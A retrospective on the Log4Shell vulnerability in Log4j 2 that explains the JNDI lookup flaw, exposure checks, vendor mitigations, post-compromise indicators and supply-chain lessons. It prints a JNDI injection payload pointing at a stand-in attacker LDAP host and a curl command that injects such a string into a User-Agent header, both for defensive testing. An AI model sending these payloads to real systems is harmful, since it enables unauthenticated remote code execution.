On 9 December 2021 a proof of concept for a remote code execution flaw in Log4j 2 was published. Within 72 hours it was being exploited at internet scale, and the affected library was inside things nobody thinks of as Java applications — VPN concentrators, backup appliances, and the Minecraft server running in someone’s basement.
The bug in one line
Log4j 2 supported message lookups. If a logged string contained ${jndi:ldap://...}, the library would resolve it — and a JNDI lookup against an attacker-controlled LDAP server can return a serialised Java object that gets deserialised on the client.
${jndi:ldap://attacker.example.com:1389/a}
The attacker responds to the LDAP request with a reference to a remote class file, and the JVM loads it. Code execution, no authentication, no user interaction.
The reason it was everywhere is the trigger condition. It wasn’t a specific API — it was any logged user-controlled string. User-Agent headers, form fields, chat messages, usernames.
Confirming exposure
Against a test instance, the fastest confirmation is sending a payload that triggers a DNS lookup you control:
curl -s "http://target/api/login" \
-H 'User-Agent: ${jndi:ldap://'$COLLAB'.oast.fun/x}'
A hit on your collaborator means the string reached a vulnerable logger. Absence of a hit does not mean safe — it may mean the payload didn’t reach a logged field.
For filesystem triage, find the jars and check their versions:
find / -name 'log4j-core-*.jar' 2>/dev/null | while read f; do
echo "$f -> $(unzip -p "$f" META-INF/MANIFEST.MF | grep -i version)"
done
Anything 2.0-beta9 through 2.14.1 is vulnerable.
Mitigation, in the order the vendor recommended it
- Upgrade to 2.17.1 or later. If you can only get to 2.16, you lose JNDI entirely by default, which is the real fix. 2.15 patched the specific lookup pattern and was bypassed days later.
log4j2.formatMsgNoLookups=truefor anything you can’t rebuild this week. It’s a mitigation, not a fix.- Remove
JndiLookup.classas a last resort:zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - Block outbound LDAP/RMI at the perimeter. This is defensive depth that would have neutered the whole class of attack, and it’s worth keeping after patching.
The part people skip
Patching is half the job. The other half is assuming exploitation happened before you patched. What I looked for during that week:
javaprocesses spawningbash,sh, orcmd.exe- Outbound connections from application servers to unfamiliar hosts on 1389/1099
- New files in
/tmpwith.classextensions - Child processes of the JVM in EDR telemetry — this is the highest-signal indicator by a wide margin
What it changed
Log4Shell did more for software supply chain awareness than any advisory before it. Two durable effects:
- SBOMs went from a compliance checkbox to a real question. You cannot answer “are we affected” in 24 hours if you don’t know what’s in your artifacts.
- Egress filtering got taken seriously. The exploit required outbound LDAP from a server that had no business making outbound LDAP connections.
The uncomfortable lesson is that a single string format decision inside a logging library produced a global incident. Most organisations still cannot enumerate their transitive dependencies on demand.